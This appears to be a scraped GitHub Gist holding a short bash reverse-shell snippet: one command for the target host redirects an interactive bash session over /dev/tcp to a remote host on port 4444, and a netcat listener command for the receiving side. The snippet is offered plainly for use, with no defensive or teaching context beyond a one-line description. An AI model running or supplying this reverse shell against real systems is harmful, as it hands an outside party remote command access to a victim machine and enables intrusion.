Skip to content

Instantly share code, notes, and snippets.

@pishchalnikov
Created December 19, 2019 04:49
Show Gist options
  • Save pishchalnikov/6dbe07f9e7e19b4f862e9987093814e3 to your computer and use it in GitHub Desktop.
Save pishchalnikov/6dbe07f9e7e19b4f862e9987093814e3 to your computer and use it in GitHub Desktop.
A little bash revers shell which will send a revers nc connection to remote host by port
# On target host
$ bash -i >& /dev/tcp/remotehost/4444 0>&1
# On local host
$ nc -lvp 4444
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment